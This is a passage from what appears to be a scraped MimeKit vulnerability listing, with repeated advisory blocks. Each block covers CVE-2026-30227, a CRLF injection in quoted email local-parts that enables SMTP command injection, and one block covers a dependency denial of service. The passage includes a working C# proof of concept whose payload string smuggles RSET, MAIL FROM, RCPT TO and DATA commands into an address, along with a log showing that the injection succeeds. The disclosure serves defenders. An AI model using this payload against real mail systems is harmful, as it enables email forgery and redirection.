In some environments, may enable header injection if the attacker can pivot from envelope manipulation into message content workflows (application-dependent).
Logging/auditing evasion or misleading audit trails if the SMTP transcript is altered by injected command boundaries.

Suggested remediation (high level):

Reject \r and \n in local-part (and ideally anywhere) when parsing/constructing mailbox addresses used for SMTP envelopes.
Align quoted local-part parsing with RFC 5321’s qtextSMTP and quoted-pairSMTP ranges (no control characters).

Affected versions


          0.10.0


          0.10.1


          0.11.0


          0.12.0


          0.13.0


          0.14.0


          0.15.0


          0.16.0


          0.17.0


          0.18.0


          0.19.0


          0.20.0

+ 181 more


            0.21.0


            0.23.0


            0.24.0


            0.25.0


            0.26.0


            0.27.0


            0.28.0


            0.29.0


            0.30.0


            0.31.0


            0.32.0


            0.33.0


            0.34.0


            0.35.0


            0.36.0


            0.37.0


            0.38.0


            0.39.0


            0.40.0


            0.41.0


            0.42.0


            0.43.0


            0.43.0.1


            0.5.0


            0.6.0


            0.7.0


            0.7.1


            0.8.0


            0.9.0


            0.90.0


            0.91.0


            0.92.0


            0.93.0


            0.94.0


            0.95.0


            0.96.0


            0.97.0


            1.0.0


            1.0.1


            1.0.10


            1.0.11


            1.0.12


            1.0.13


            1.0.14


            1.0.15


            1.0.2


            1.0.3


            1.0.4


            1.0.5


            1.0.6


            1.0.6.1


            1.0.7


            1.0.8


            1.0.9


            1.10.0


            1.10.1


            1.12.0


            1.14.0


            1.14.1


            1.16.0


            1.16.1


            1.16.2


            1.18.0


            1.18.1


            1.2.0


            1.2.1


            1.2.10


            1.2.11


            1.2.12


            1.2.13


            1.2.14


            1.2.15


            1.2.16


            1.2.17


            1.2.17.1


            1.2.17.2


            1.2.17.3


            1.2.18


            1.2.18.1


            1.2.19


            1.2.2


            1.2.20


            1.2.20.1


            1.2.20.2


            1.2.21


            1.2.22


            1.2.23


            1.2.24


            1.2.25


            1.2.3


            1.2.4


            1.2.5


            1.2.5.1


            1.2.6


            1.2.7


            1.2.8


            1.2.9


            1.20.0


            1.22.0


            1.3.0-beta1


            1.3.0-beta2


            1.3.0-beta3


            1.3.0-beta4


            1.3.0-beta5


            1.3.0-beta6


            1.3.0-beta7


            1.3.0-rc1


            1.4.0


            1.4.1


            1.4.2


            1.6.0


            1.8.0


            2.0.0


            2.0.1


            2.0.2


            2.0.3


            2.0.4


            2.0.5


            2.0.6


            2.0.7


            2.1.0


            2.1.1


            2.1.2


            2.1.3


            2.1.4


            2.1.5


            2.1.5.1


            2.10.0


            2.10.1


            2.11.0


            2.12.0


            2.13.0


            2.14.0


            2.15.0


            2.15.1


            2.2.0


            2.3.0


            2.3.1


            2.3.2


            2.4.0


            2.4.0.1


            2.4.1


            2.5.0


            2.5.1


            2.5.2


            2.6.0


            2.7.0


            2.8.0


            2.9.0


            2.9.1


            2.9.2


            3.0.0


            3.0.0-preview1


            3.1.0


            3.1.1


            3.2.0


            3.3.0


            3.4.0


            3.4.1


            3.4.2


            3.4.3


            3.5.0


            3.6.0


            3.6.1


            4.0.0


            4.1.0


            4.10.0


            4.11.0


            4.12.0


            4.13.0


            4.14.0


            4.15.0


            4.2.0


            4.3.0


            4.4.0


            4.5.0


            4.6.0


            4.7.0


            4.7.1


            4.8.0


            4.9.0

Fixed in


          4.15.1

References

Updated Mar 06, 2026 · Source: OSV.dev

GHSA-gmc6-fwg3-75m5 Jul 11, 2024

Mimekit has vulnerable dependency that can lead to denial of service

High

Network Low None None

Summary

Denial of service vulnerability.

Details

See: https://github.com/advisories/GHSA-447r-wph3-92pm and https://github.com/dotnet/announcements/issues/312

PoC

Update System.Security.Cryptography.Pkcs to 8.0.1 so that the transitive dependency with the issue gets updated

Impact

Denial of service vulnerability. Affects MimeKit (>= v3.0.0 and <= v4.7.0) when used to decrypt or verify incoming S/MIME messages as well as importing 3rd-party X.509 certificates for use with encrypting outgoing S/MIME messages.

Affected versions


          3.0.0


          3.1.0


          3.1.1


          3.2.0


          3.3.0


          3.4.0


          3.4.1


          3.4.2


          3.4.3


          3.5.0


          3.6.0


          3.6.1

+ 8 more


            4.0.0


            4.1.0


            4.2.0


            4.3.0


            4.4.0


            4.5.0


            4.6.0


            4.7.0

Fixed in


          4.7.1

References

Updated Nov 29, 2024 · Source: OSV.dev

May 17, 2024

4.5.0 minor

2 CVEs

CVE-2026-30227 GHSA-g7hc-96xr-gvvx Mar 05, 2026

MimeKit has CRLF Injection in Quoted Local-Part that Enables SMTP Command Injection and Email Forgery

Medium

Network Low None None

Summary

A CRLF Injection vulnerability in MimeKit 4.15.0 allows an attacker to embed \r\n into the SMTP envelope address local-part (when the local-part is a quoted-string). This is non-compliant with RFC 5321 and can result in SMTP command injection (e.g., injecting additional RCPT TO / DATA / RSET commands) and/or mail header injection, depending on how the application uses MailKit/MimeKit to construct and send messages. The issue becomes exploitable when the attacker can influence a MailboxAddress (MAIL FROM / RCPT TO) value that is later serialized to an SMTP session.

RFC 5321 explicitly defines the SMTP mailbox local-part grammar and does not permit CR (13) or LF (10) inside Quoted-string (qtextSMTP and quoted-pairSMTP ranges exclude control characters). SMTP commands are terminated by <CRLF>, making CRLF injection in command arguments particularly dangerous.

Details

1) RFC 5321 local-part grammar prohibits CR/LF in quoted-string

RFC 5321 defines:

mail = "MAIL FROM:" Reverse-path [SP Mail-parameters] CRLF

Reverse-path = Path / "<>"
Path         = "<" [ A-d-l ":" ] Mailbox ">"
A-d-l        = At-domain *( "," At-domain )
At-domain    = "@" Domain

Mailbox         = Local-part "@" ( Domain / address-literal )
Local-part      = Dot-string / Quoted-string

Dot-string      = Atom *("." Atom)
Atom            = 1*atext
atext = ALPHA / DIGIT / 
        "!" / "#" / "$" / "%" / "&" / "'" / "*" / "+" / "-" / "/" / 
        "=" / "?" / "^" / "_" / "`" / "{" / "|" / "}" / "~"


Quoted-string   = DQUOTE *QcontentSMTP DQUOTE
QcontentSMTP    = qtextSMTP / quoted-pairSMTP
quoted-pairSMTP = %d92 %d32-126
qtextSMTP       = %d32-33 / %d35-91 / %d93-126

When the local part is a quoted string, the characters and are not allowed.

2) MimeKit 4.15.0 accepts CR/LF inside quoted local-part (non-compliant)

In the MimeKit 4.15.0 version, when parsing the local part, the and characters in the double-quoted form will not be detected. As a result, MailboxAddress can accept addresses like "attacker\r\nRCPT TO:<victim@target>\r\n"@example.com as a valid address.

3) Affected components / versions

MimeKit 4.15.0 (as tested)
MailKit 4.15.0 uses/depends on MimeKit 4.15.0 Any application that:
Accepts untrusted input for sender/recipient addresses, and
Constructs MailboxAddress from that input, and
Sends via SMTP (e.g., using MailKit SmtpClient), may be impacted.

PoC

Environment:

.NET SDK: 8.0.418
Target Framework: net8.0
Packages: MailKit 4.15.0 (with MimeKit 4.15.0)
Use ProtocolLogger to capture the SMTP session and confirm injection.

Create a minimal project:

mimekit_poc.csproj

<Project Sdk="Microsoft.NET.Sdk">

  <PropertyGroup>
    <OutputType>Exe</OutputType>
    <TargetFramework>net8.0</TargetFramework>
    <ImplicitUsings>enable</ImplicitUsings>
    <Nullable>enable</Nullable>
  </PropertyGroup>

  <ItemGroup>
    <PackageReference Include="MailKit" Version="4.15.0" />
  </ItemGroup>
</Project>

PoC program (replace SMTP host/port/address as needed):

using MailKit.Net.Smtp;
using MailKit.Security;
using MailKit;
using MimeKit;

// === payload and target setting ===

var smtpHost = "xx.xx.xx.xx";
var smtpPort = 25;
var useTls = false;
// attack in `MAIL FROM` cmd with address grammar in double quote 
var payloadEvilMailFromInput = "\"attack\r\nRSET\r\nMAIL FROM:<kc1zs4@poc.send.com>\r\nRCPT TO:<xxx@xxx.xxx.xxx.xxx>\r\nDATA\r\n.\r\nQUIT\r\nhere\"@poc.send.com";
// log in log/smtp_log_{yyyyMMdd_HHmmss_fff}.txt
var logDir = Path.Combine(AppContext.BaseDirectory, "log");
Directory.CreateDirectory(logDir);
var timestamp = DateTime.Now.ToString("yyyyMMdd_HHmmss_fff");
var logPath = Path.Combine(logDir, $"smtp_log_{timestamp}");


// === below smtp session ===
// mimekit api

var envelopeFrom = new MailboxAddress("", payloadEvilMailFromInput);
var envelopeRcpt = new MailboxAddress("", "\"kc1zs4\"@poc.recv.com");
var headerFrom = new MailboxAddress("Sender", "kc1zs4@poc.send.com");
var headerTo = new MailboxAddress("Recipient", "kc1zs4@poc.recv.com");

var message = new MimeMessage();
message.From.Add(headerFrom);
message.To.Add(headerTo);
message.Subject = "mimekit CRLF injection poc";
message.Body = new TextPart("plain") { Text = "Hello from MimeKit 4.15.0" };

try {
    using var protocolLogger = new ProtocolLogger(logPath);
    using var client = new SmtpClient(protocolLogger);

    var socketOption = useTls ? SecureSocketOptions.StartTls : SecureSocketOptions.None;
    client.Connect(smtpHost, smtpPort, socketOption);

    client.Send(FormatOptions.Default, message, envelopeFrom, new[] { envelopeRcpt });
    client.Disconnect(true);

    Console.WriteLine("[+] successfully send mail");
    Console.WriteLine($"[+] view smtp session log at: {logPath}");

} catch (SmtpCommandException ex) {

    Console.Error.WriteLine($"[!] smtp cmd err: {ex.StatusCode} - {ex.Message}");
    Console.Error.WriteLine($"[!] view smtp session log at: {logPath}");
    Environment.ExitCode = 1;

} catch (SmtpProtocolException ex) {

    Console.Error.WriteLine($"[!] smtp protocol err: {ex.Message}");
    Console.Error.WriteLine($"[!] view smtp session log at: {logPath}");
    Environment.ExitCode = 1;

} catch (Exception ex) {

    Console.Error.WriteLine($"[!] unknown err: {ex.Message}");
    Console.Error.WriteLine($"[!] view smtp session log at: {logPath}");
    Environment.ExitCode = 1;
}

Expected result

MailboxAddress accepts the injected addr-spec containing CRLF inside the quoted local-part because it relies on quoted-string skipping that does not reject CR/LF.
The generated SMTP session (captured by ProtocolLogger) shows the MAIL FROM line being split by the injected CRLF, followed by attacker-controlled SMTP commands.
tcpdump also shows the same raw SMTP stream (optional confirmation).

Example (illustrative) excerpt from smtp session log showing the CRLF injection effect:

Connected to smtp://xxx.xxx.xxx.xxx:25/
S: 220 xxx Axigen ESMTP ready
C: EHLO KC1zs4-TPt14p
S: 250-xxx Axigen ESMTP hello
S: 250-PIPELINING
S: 250-AUTH PLAIN LOGIN CRAM-MD5 DIGEST-MD5 GSSAPI
S: 250-AUTH=PLAIN LOGIN CRAM-MD5 DIGEST-MD5 GSSAPI
S: 250-8BITMIME
S: 250-SIZE 10485760
S: 250-HELP
S: 250 OK
C: MAIL FROM:<"attack
C: RSET
C: MAIL FROM:<kc1zs4@poc.send.com>
C: RCPT TO:<xxx@xxx.xxx.xxx.xxx>
C: DATA
C: .
C: QUIT
C: here"@poc.send.com> SIZE=293
C: RCPT TO:<"kc1zs4"@poc.recv.com>
S: 553 Invalid mail address
S: 250 Reset done
S: 250 Sender accepted
S: 250 Recipient accepted
S: 354 Ready to receive data; remember <CRLF>.<CRLF>
S: 250 Mail queued for delivery
S: 221-xxx Axigen ESMTP is closing connection
S: 221 Good bye
C: RSET

Notes:

Whether the server executes the injected commands depends on server-side parsing/validation and SMTP pipeline state, but the client-side behavior (emitting CRLF into SMTP command stream via MailboxAddress) is sufficient to demonstrate the vulnerability class and protocol non-compliance.
SMTP commands are terminated by <CRLF>, so CRLF-in-argument is structurally hazardous by design.

Impact

Vulnerability class:

SMTP command injection / CRLF injection via envelope address (MAIL FROM / RCPT TO).
Protocol non-compliance with RFC 5321 local-part grammar for quoted-string (CR/LF not allowed).

Who is impacted:

Any application using MimeKit/MailKit to send email over SMTP where mailbox addresses are influenced by untrusted input (e.g., user-supplied “From” address, tenant-configurable sender identity, inbound-to-outbound forwarding rules, contact imports, webhook-driven mail sending, etc.).

Potential consequences:

Add or modify SMTP recipients by injecting extra RCPT TO commands (mail redirection / data exfiltration).
Corrupt the SMTP transaction state (RSET, NOOP, etc.) or attempt early DATA injection (server-dependent).
In some environments, may enable header injection if the attacker can pivot from envelope manipulation into message content workflows (application-dependent).
Logging/auditing evasion or misleading audit trails if the SMTP transcript is altered by injected command boundaries.

Suggested remediation (high level):

Reject \r and \n in local-part (and ideally anywhere) when parsing/constructing mailbox addresses used for SMTP envelopes.
Align quoted local-part parsing with RFC 5321’s qtextSMTP and quoted-pairSMTP ranges (no control characters).

Affected versions


          0.10.0


          0.10.1


          0.11.0


          0.12.0


          0.13.0


          0.14.0


          0.15.0


          0.16.0


          0.17.0


          0.18.0


          0.19.0


          0.20.0

+ 181 more


            0.21.0


            0.23.0


            0.24.0


            0.25.0


            0.26.0


            0.27.0


            0.28.0


            0.29.0


            0.30.0


            0.31.0


            0.32.0


            0.33.0


            0.34.0


            0.35.0


            0.36.0


            0.37.0


            0.38.0


            0.39.0


            0.40.0


            0.41.0


            0.42.0


            0.43.0


            0.43.0.1


            0.5.0


            0.6.0


            0.7.0


            0.7.1


            0.8.0


            0.9.0


            0.90.0


            0.91.0


            0.92.0


            0.93.0


            0.94.0


            0.95.0


            0.96.0


            0.97.0


            1.0.0


            1.0.1


            1.0.10


            1.0.11


            1.0.12


            1.0.13


            1.0.14


            1.0.15


            1.0.2


            1.0.3


            1.0.4


            1.0.5


            1.0.6


            1.0.6.1


            1.0.7


            1.0.8


            1.0.9


            1.10.0


            1.10.1


            1.12.0


            1.14.0


            1.14.1


            1.16.0


            1.16.1


            1.16.2


            1.18.0


            1.18.1


            1.2.0


            1.2.1


            1.2.10


            1.2.11


            1.2.12


            1.2.13


            1.2.14


            1.2.15


            1.2.16


            1.2.17


            1.2.17.1


            1.2.17.2


            1.2.17.3


            1.2.18


            1.2.18.1


            1.2.19


            1.2.2


            1.2.20


            1.2.20.1


            1.2.20.2


            1.2.21


            1.2.22


            1.2.23


            1.2.24


            1.2.25


            1.2.3


            1.2.4


            1.2.5


            1.2.5.1


            1.2.6


            1.2.7


            1.2.8


            1.2.9


            1.20.0


            1.22.0


            1.3.0-beta1


            1.3.0-beta2


            1.3.0-beta3


            1.3.0-beta4


            1.3.0-beta5


            1.3.0-beta6


            1.3.0-beta7


            1.3.0-rc1


            1.4.0


            1.4.1


            1.4.2


            1.6.0


            1.8.0


            2.0.0


            2.0.1


            2.0.2


            2.0.3


            2.0.4


            2.0.5


            2.0.6


            2.0.7


            2.1.0


            2.1.1


            2.1.2


            2.1.3


            2.1.4


            2.1.5


            2.1.5.1


            2.10.0


            2.10.1


            2.11.0


            2.12.0


            2.13.0


            2.14.0


            2.15.0


            2.15.1


            2.2.0


            2.3.0


            2.3.1


            2.3.2


            2.4.0


            2.4.0.1


            2.4.1


            2.5.0


            2.5.1


            2.5.2


            2.6.0


            2.7.0


            2.8.0


            2.9.0


            2.9.1


            2.9.2


            3.0.0


            3.0.0-preview1


            3.1.0


            3.1.1


            3.2.0


            3.3.0


            3.4.0


            3.4.1


            3.4.2


            3.4.3


            3.5.0


            3.6.0


            3.6.1


            4.0.0


            4.1.0


            4.10.0


            4.11.0


            4.12.0


            4.13.0


            4.14.0


            4.15.0


            4.2.0


            4.3.0


            4.4.0


            4.5.0


            4.6.0


            4.7.0


            4.7.1


            4.8.0


            4.9.0

Fixed in


          4.15.1

References

Updated Mar 06, 2026 · Source: OSV.dev

GHSA-gmc6-fwg3-75m5 Jul 11, 2024

Mimekit has vulnerable dependency that can lead to denial of service

High

Network Low None None

Summary

Denial of service vulnerability.

Details

See: https://github.com/advisories/GHSA-447r-wph3-92pm and https://github.com/dotnet/announcements/issues/312

PoC

Update System.Security.Cryptography.Pkcs to 8.0.1 so that the transitive dependency with the issue gets updated

Impact

Denial of service vulnerability. Affects MimeKit (>= v3.0.0 and <= v4.7.0) when used to decrypt or verify incoming S/MIME messages as well as importing 3rd-party X.509 certificates for use with encrypting outgoing S/MIME messages.

Affected versions


          3.0.0


          3.1.0


          3.1.1


          3.2.0


          3.3.0


          3.4.0


          3.4.1


          3.4.2


          3.4.3


          3.5.0


          3.6.0


          3.6.1

+ 8 more


            4.0.0


            4.1.0


            4.2.0


            4.3.0


            4.4.0


            4.5.0


            4.6.0


            4.7.0

Fixed in


          4.7.1

References

Updated Nov 29, 2024 · Source: OSV.dev

Apr 13, 2024

4.4.0 minor

2 CVEs

CVE-2026-30227 GHSA-g7hc-96xr-gvvx Mar 05, 2026

MimeKit has CRLF Injection in Quoted Local-Part that Enables SMTP Command Injection and Email Forgery

Medium

Network Low None None

Summary

A CRLF Injection vulnerability in MimeKit 4.15.0 allows an attacker to embed \r\n into the SMTP envelope address local-part (when the local-part is a quoted-string). This is non-compliant with RFC 5321 and can result in SMTP command injection (e.g., injecting additional RCPT TO / DATA / RSET commands) and/or mail header injection, depending on how the application uses MailKit/MimeKit to construct and send messages. The issue becomes exploitable when the attacker can influence a MailboxAddress (MAIL FROM / RCPT TO) value that is later serialized to an SMTP session.

RFC 5321 explicitly defines the SMTP mailbox local-part grammar and does not permit CR (13) or LF (10) inside Quoted-string (qtextSMTP and quoted-pairSMTP ranges exclude control characters). SMTP commands are terminated by <CRLF>, making CRLF injection in command arguments particularly dangerous.

Details

1) RFC 5321 local-part grammar prohibits CR/LF in quoted-string

RFC 5321 defines:

mail = "MAIL FROM:" Reverse-path [SP Mail-parameters] CRLF

Reverse-path = Path / "<>"
Path         = "<" [ A-d-l ":" ] Mailbox ">"
A-d-l        = At-domain *( "," At-domain )
At-domain    = "@" Domain

Mailbox         = Local-part "@" ( Domain / address-literal )
Local-part      = Dot-string / Quoted-string

Dot-string      = Atom *("." Atom)
Atom            = 1*atext
atext = ALPHA / DIGIT / 
        "!" / "#" / "$" / "%" / "&" / "'" / "*" / "+" / "-" / "/" / 
        "=" / "?" / "^" / "_" / "`" / "{" / "|" / "}" / "~"


Quoted-string   = DQUOTE *QcontentSMTP DQUOTE
QcontentSMTP    = qtextSMTP / quoted-pairSMTP
quoted-pairSMTP = %d92 %d32-126
qtextSMTP       = %d32-33 / %d35-91 / %d93-126

When the local part is a quoted string, the characters and are not allowed.

2) MimeKit 4.15.0 accepts CR/LF inside quoted local-part (non-compliant)

In the MimeKit 4.15.0 version, when parsing the local part, the and characters in the double-quoted form will not be detected. As a result, MailboxAddress can accept addresses like "attacker\r\nRCPT TO:<victim@target>\r\n"@example.com as a valid address.

3) Affected components / versions

MimeKit 4.15.0 (as tested)
MailKit 4.15.0 uses/depends on MimeKit 4.15.0 Any application that:
Accepts untrusted input for sender/recipient addresses, and
Constructs MailboxAddress from that input, and
Sends via SMTP (e.g., using MailKit SmtpClient), may be impacted.

PoC

Environment:

.NET SDK: 8.0.418
Target Framework: net8.0
Packages: MailKit 4.15.0 (with MimeKit 4.15.0)
Use ProtocolLogger to capture the SMTP session and confirm injection.

Create a minimal project:

mimekit_poc.csproj

<Project Sdk="Microsoft.NET.Sdk">

  <PropertyGroup>
    <OutputType>Exe</OutputType>
    <TargetFramework>net8.0</TargetFramework>
    <ImplicitUsings>enable</ImplicitUsings>
    <Nullable>enable</Nullable>
  </PropertyGroup>

  <ItemGroup>
    <PackageReference Include="MailKit" Version="4.15.0" />
  </ItemGroup>
</Project>

PoC program (replace SMTP host/port/address as needed):

using MailKit.Net.Smtp;
using MailKit.Security;
using MailKit;
using MimeKit;

// === payload and target setting ===

var smtpHost = "xx.xx.xx.xx";
var smtpPort = 25;
var useTls = false;
// attack in `MAIL FROM` cmd with address grammar in double quote 
var payloadEvilMailFromInput = "\"attack\r\nRSET\r\nMAIL FROM:<kc1zs4@poc.send.com>\r\nRCPT TO:<xxx@xxx.xxx.xxx.xxx>\r\nDATA\r\n.\r\nQUIT\r\nhere\"@poc.send.com";
// log in log/smtp_log_{yyyyMMdd_HHmmss_fff}.txt
var logDir = Path.Combine(AppContext.BaseDirectory, "log");
Directory.CreateDirectory(logDir);
var timestamp = DateTime.Now.ToString("yyyyMMdd_HHmmss_fff");
var logPath = Path.Combine(logDir, $"smtp_log_{timestamp}");


// === below smtp session ===
// mimekit api

var envelopeFrom = new MailboxAddress("", payloadEvilMailFromInput);
var envelopeRcpt = new MailboxAddress("", "\"kc1zs4\"@poc.recv.com");
var headerFrom = new MailboxAddress("Sender", "kc1zs4@poc.send.com");
var headerTo = new MailboxAddress("Recipient", "kc1zs4@poc.recv.com");

var message = new MimeMessage();
message.From.Add(headerFrom);
message.To.Add(headerTo);
message.Subject = "mimekit CRLF injection poc";
message.Body = new TextPart("plain") { Text = "Hello from MimeKit 4.15.0" };

try {
    using var protocolLogger = new ProtocolLogger(logPath);
    using var client = new SmtpClient(protocolLogger);

    var socketOption = useTls ? SecureSocketOptions.StartTls : SecureSocketOptions.None;
    client.Connect(smtpHost, smtpPort, socketOption);

    client.Send(FormatOptions.Default, message, envelopeFrom, new[] { envelopeRcpt });
    client.Disconnect(true);

    Console.WriteLine("[+] successfully send mail");
    Console.WriteLine($"[+] view smtp session log at: {logPath}");

} catch (SmtpCommandException ex) {

    Console.Error.WriteLine($"[!] smtp cmd err: {ex.StatusCode} - {ex.Message}");
    Console.Error.WriteLine($"[!] view smtp session log at: {logPath}");
    Environment.ExitCode = 1;

} catch (SmtpProtocolException ex) {

    Console.Error.WriteLine($"[!] smtp protocol err: {ex.Message}");
    Console.Error.WriteLine($"[!] view smtp session log at: {logPath}");
    Environment.ExitCode = 1;

} catch (Exception ex) {

    Console.Error.WriteLine($"[!] unknown err: {ex.Message}");
    Console.Error.WriteLine($"[!] view smtp session log at: {logPath}");
    Environment.ExitCode = 1;
}

Expected result

MailboxAddress accepts the injected addr-spec containing CRLF inside the quoted local-part because it relies on quoted-string skipping that does not reject CR/LF.
The generated SMTP session (captured by ProtocolLogger) shows the MAIL FROM line being split by the injected CRLF, followed by attacker-controlled SMTP commands.
tcpdump also shows the same raw SMTP stream (optional confirmation).

Example (illustrative) excerpt from smtp session log showing the CRLF injection effect:

Connected to smtp://xxx.xxx.xxx.xxx:25/
S: 220 xxx Axigen ESMTP ready
C: EHLO KC1zs4-TPt14p
S: 250-xxx Axigen ESMTP hello
S: 250-PIPELINING
S: 250-AUTH PLAIN LOGIN CRAM-MD5 DIGEST-MD5 GSSAPI
S: 250-AUTH=PLAIN LOGIN CRAM-MD5 DIGEST-MD5 GSSAPI
S: 250-8BITMIME
S: 250-SIZE 10485760
S: 250-HELP
S: 250 OK
C: MAIL FROM:<"attack
C: RSET
C: MAIL FROM:<kc1zs4@poc.send.com>
C: RCPT TO:<xxx@xxx.xxx.xxx.xxx>
C: DATA
C: .
C: QUIT
C: here"@poc.send.com> SIZE=293
C: RCPT TO:<"kc1zs4"@poc.recv.com>
S: 553 Invalid mail address
S: 250 Reset done
S: 250 Sender accepted
S: 250 Recipient accepted
S: 354 Ready to receive data; remember <CRLF>.<CRLF>
S: 250 Mail queued for delivery
S: 221-xxx Axigen ESMTP is closing connection
S: 221 Good bye
C: RSET

Notes:

Whether the server executes the injected commands depends on server-side parsing/validation and SMTP pipeline state, but the client-side behavior (emitting CRLF into SMTP command stream via MailboxAddress) is sufficient to demonstrate the vulnerability class and protocol non-compliance.
SMTP commands are terminated by <CRLF>, so CRLF-in-argument is structurally hazardous by design.

Impact

Vulnerability class:

SMTP command injection / CRLF injection via envelope address (MAIL FROM / RCPT TO).
Protocol non-compliance with RFC 5321 local-part grammar for quoted-string (CR/LF not allowed).

Who is impacted:

Any application using MimeKit/MailKit to send email over SMTP where mailbox addresses are influenced by untrusted input (e.g., user-supplied “From” address, tenant-configurable sender identity, inbound-to-outbound forwarding rules, contact imports, webhook-driven mail sending, etc.).

Potential consequences:

Add or modify SMTP recipients by injecting extra RCPT TO commands (mail redirection / data exfiltration).
Corrupt the SMTP transaction state (RSET, NOOP, etc.) or attempt early DATA injection (server-dependent).
In some environments, may enable header injection if the attacker can pivot from envelope manipulation into message content workflows (application-dependent).
Logging/auditing evasion or misleading audit trails if the SMTP transcript is altered by injected command boundaries.

Suggested remediation (high level):

Reject \r and \n in local-part (and ideally anywhere) when parsing/constructing mailbox addresses used for SMTP envelopes.
Align quoted local-part parsing with RFC 5321’s qtextSMTP and quoted-pairSMTP ranges (no control characters).

Affected versions


          0.10.0


          0.10.1


          0.11.0


          0.12.0


          0.13.0


          0.14.0


          0.15.0


          0.16.0


          0.17.0


          0.18.0


          0.19.0


          0.20.0

+ 181 more


            0.21.0


            0.23.0


            0.24.0


            0.25.0


            0.26.0


            0.27.0


            0.28.0


            0.29.0


            0.30.0


            0.31.0


            0.32.0


            0.33.0


            0.34.0


            0.35.0


            0.36.0


            0.37.0


            0.38.0


            0.39.0


            0.40.0


            0.41.0


            0.42.0


            0.43.0


            0.43.0.1


            0.5.0


            0.6.0


            0.7.0


            0.7.1


            0.8.0


            0.9.0


            0.90.0


            0.91.0


            0.92.0


            0.93.0


            0.94.0


            0.95.0


            0.96.0


            0.97.0


            1.0.0


            1.0.1


            1.0.10


            1.0.11


            1.0.12


            1.0.13


            1.0.14


            1.0.15


            1.0.2


            1.0.3


            1.0.4


            1.0.5


            1.0.6


            1.0.6.1


            1.0.7


            1.0.8


            1.0.9


            1.10.0


            1.10.1


            1.12.0


            1.14.0


            1.14.1


            1.16.0


            1.16.1


            1.16.2


            1.18.0


            1.18.1


            1.2.0


            1.2.1


            1.2.10


            1.2.11


            1.2.12


            1.2.13


            1.2.14


            1.2.15


            1.2.16


            1.2.17


            1.2.17.1


            1.2.17.2


            1.2.17.3


            1.2.18


            1.2.18.1


            1.2.19


            1.2.2


            1.2.20


            1.2.20.1


            1.2.20.2


            1.2.21


            1.2.22


            1.2.23


            1.2.24


            1.2.25


            1.2.3


            1.2.4


            1.2.5


            1.2.5.1


            1.2.6


            1.2.7


            1.2.8


            1.2.9


            1.20.0


            1.22.0


            1.3.0-beta1


            1.3.0-beta2


            1.3.0-beta3


            1.3.0-beta4


            1.3.0-beta5


            1.3.0-beta6


            1.3.0-beta7


            1.3.0-rc1


            1.4.0


            1.4.1


            1.4.2


            1.6.0


            1.8.0


            2.0.0


            2.0.1


            2.0.2


            2.0.3


            2.0.4


            2.0.5


            2.0.6


            2.0.7


            2.1.0


            2.1.1


            2.1.2


            2.1.3


            2.1.4


            2.1.5


            2.1.5.1


            2.10.0


            2.10.1


            2.11.0


            2.12.0


            2.13.0


            2.14.0


            2.15.0


            2.15.1


            2.2.0


            2.3.0


            2.3.1


            2.3.2


            2.4.0


            2.4.0.1


            2.4.1


            2.5.0


            2.5.1


            2.5.2


            2.6.0


            2.7.0


            2.8.0


            2.9.0


            2.9.1


            2.9.2


            3.0.0


            3.0.0-preview1


            3.1.0


            3.1.1


            3.2.0


            3.3.0


            3.4.0


            3.4.1


            3.4.2


            3.4.3


            3.5.0


            3.6.0


            3.6.1


            4.0.0


            4.1.0


            4.10.0


            4.11.0


            4.12.0


            4.13.0


            4.14.0


            4.15.0


            4.2.0


            4.3.0


            4.4.0


            4.5.0


            4.6.0


            4.7.0


            4.7.1


            4.8.0


            4.9.0

Fixed in


          4.15.1

References

Updated Mar 06, 2026 · Source: OSV.dev

GHSA-gmc6-fwg3-75m5 Jul 11, 2024

Mimekit has vulnerable dependency that can lead to denial of service

High

Network Low None None

Summary

Denial of service vulnerability.

Details

See: https://github.com/advisories/GHSA-447r-wph3-92pm and https://github.com/dotnet/announcements/issues/312

PoC

Update System.Security.Cryptography.Pkcs to 8.0.1 so that the transitive dependency with the issue gets updated

Impact

Denial of service vulnerability. Affects MimeKit (>= v3.0.0 and <= v4.7.0) when used to decrypt or verify incoming S/MIME messages as well as importing 3rd-party X.509 certificates for use with encrypting outgoing S/MIME messages.

Affected versions


          3.0.0


          3.1.0


          3.1.1


          3.2.0


          3.3.0


          3.4.0


          3.4.1


          3.4.2


          3.4.3


          3.5.0


          3.6.0


          3.6.1

+ 8 more


            4.0.0


            4.1.0


            4.2.0


            4.3.0


            4.4.0


            4.5.0


            4.6.0


            4.7.0

Fixed in


          4.7.1

References

Updated Nov 29, 2024 · Source: OSV.dev

Mar 02, 2024

4.3.0 minor

2 CVEs

CVE-2026-30227 GHSA-g7hc-96xr-gvvx Mar 05, 2026

MimeKit has CRLF Injection in Quoted Local-Part that Enables SMTP Command Injection and Email Forgery

Medium

Network Low None None

Summary

A CRLF Injection vulnerability in MimeKit 4.15.0 allows an attacker to embed \r\n into the SMTP envelope address local-part (when the local-part is a quoted-string). This is non-compliant with RFC 5321 and can result in SMTP command injection (e.g., injecting additional RCPT TO / DATA / RSET commands) and/or mail header injection, depending on how the application uses MailKit/MimeKit to construct and send messages. The issue becomes exploitable when the attacker can influence a MailboxAddress (MAIL FROM / RCPT TO) value that is later serialized to an SMTP session.

RFC 5321 explicitly defines the SMTP mailbox local-part grammar and does not permit CR (13) or LF (10) inside Quoted-string (qtextSMTP and quoted-pairSMTP ranges exclude control characters). SMTP commands are terminated by <CRLF>, making CRLF injection in command arguments particularly dangerous.

Details

1) RFC 5321 local-part grammar prohibits CR/LF in quoted-string

RFC 5321 defines:

mail = "MAIL FROM:" Reverse-path [SP Mail-parameters] CRLF

Reverse-path = Path / "<>"
Path         = "<" [ A-d-l ":" ] Mailbox ">"
A-d-l        = At-domain *( "," At-domain )
At-domain    = "@" Domain

Mailbox         = Local-part "@" ( Domain / address-literal )
Local-part      = Dot-string / Quoted-string

Dot-string      = Atom *("." Atom)
Atom            = 1*atext
atext = ALPHA / DIGIT / 
        "!" / "#" / "$" / "%" / "&" / "'" / "*" / "+" / "-" / "/" / 
        "=" / "?" / "^" / "_" / "`" / "{" / "|" / "}" / "~"


Quoted-string   = DQUOTE *QcontentSMTP DQUOTE
QcontentSMTP    = qtextSMTP / quoted-pairSMTP
quoted-pairSMTP = %d92 %d32-126
qtextSMTP       = %d32-33 / %d35-91 / %d93-126

When the local part is a quoted string, the characters and are not allowed.

2) MimeKit 4.15.0 accepts CR/LF inside quoted local-part (non-compliant)

In the MimeKit 4.15.0 version, when parsing the local part, the and characters in the double-quoted form will not be detected. As a result, MailboxAddress can accept addresses like "attacker\r\nRCPT TO:<victim@target>\r\n"@example.com as a valid address.

3) Affected components / versions

